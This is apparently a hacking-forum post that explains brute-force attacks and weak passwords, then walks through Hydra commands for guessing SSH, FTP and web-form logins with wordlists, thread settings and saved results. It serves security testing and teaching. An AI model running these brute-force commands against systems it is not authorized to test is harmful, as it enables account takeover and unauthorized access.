What is a Brute Force | Brute-Forcing Passwords using Hydra

[dataman]

What is a Brute Force Attack

Brute force is certainly one of the most trivial attack techniques. Main reason: the human factor remains the weakest link in the cybersecurity chain. Indeed, there is no need to carry out social engineering attacks or sophisticated SQL injection attacks to steal credentials because habits die hard: users’ passwords remain weak and therefore easy to guess. With the right tools, even the most novice attackers can compromise data and cripple the systems of large companies.

Weak Passwords that Enable Brute Force Attacks

Today, individuals possess many accounts and have many passwords. People tend to repeatedly use a few simple passwords, which leaves them exposed to brute force attacks. Also, repeated use of the same password can grant attackers access to many accounts.Email accounts protected by weak passwords may be connected to additional accounts, and can also be used to restore passwords. This makes them particularly valuable to hackers. Also, if users don’t modify their default router password, their local network is vulnerable to attacks. Attackers can try a few simple default passwords and gain access to an entire network.

Some of the most commonly found passwords in brute force lists include: date of birth, names, common passwords like 123456, a123456, abc123, password, asdf, hello, 654321, 123321, 000000, 111111, etc...

Strong passwords provide better protection against identity theft, loss of data, unauthorized access to accounts.


Brute-Forcing Passwords using Hydra

Hydra is a powerful tool for performing brute-force attacks on login services, commonly used by ethical hackers to test system security. This tutorial explains how to use Hydra step by step, from installation to running an attack on a target system in a controlled environment.

Step-by-Step Guide to Using Hydra

It supports multiple protocols like SSH, FTP, HTTP, and more. Its primary purpose is to test password strength and identify weak credentials.


Setting Up Hydra Install Hydra:

On Kali Linux, Hydra comes pre-installed. If it’s not installed, use the command:
 

Code:

sudo apt-get install hydra

Creating a Wordlist A wordlist is a file containing potential passwords.

Use an existing wordlist (like /usr/share/wordlists/rockyou.txt) or create your own:
bash
 

Code:

echo -e "password123\nadmin\n123456" > mywordlist.txt

Running Hydra

Hydra requires you to specify the target, protocol, username, and wordlist. Here's a basic command:
Targeting SSH:
 

Code:

hydra -l username -P mywordlist.txt ssh://<target IP>

-l specifies the username.
-P specifies the wordlist.
ssh:// indicates the protocol.

Common Scenarios:

HTTP Login Forms:
To target a web form, identify the POST request format using tools like Burp Suite and use Hydra: 
 

Code:

hydra -l admin -P mywordlist.txt <IP or URL> http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

Replace /login with the actual login page path and Invalid login with the server's response for failed logins.

FTP Login:
 

Code:

hydra -l admin -P mywordlist.txt ftp://<target IP>

Advanced Hydra Options Threading:
Use -t to specify the number of threads for faster brute-forcing (e.g., -t 10). Verbose Output: Add -v or -V to see the progress of each attempt. Saving Results: Use -o to save results to a file:
 

Code:

hydra -l admin -P mywordlist.txt ssh://<target IP> -o results.txt

Understanding Results
Once Hydra completes its operation, it will display valid login credentials (if found). For example
 

Code:

host: 192.168.1.10   login: admin   password: password123

Enjoy, This post is for educational purposes only to be used on your own environment or authorized use.

 

Likes 💓 and +Reps are Always Appreciated (Optional)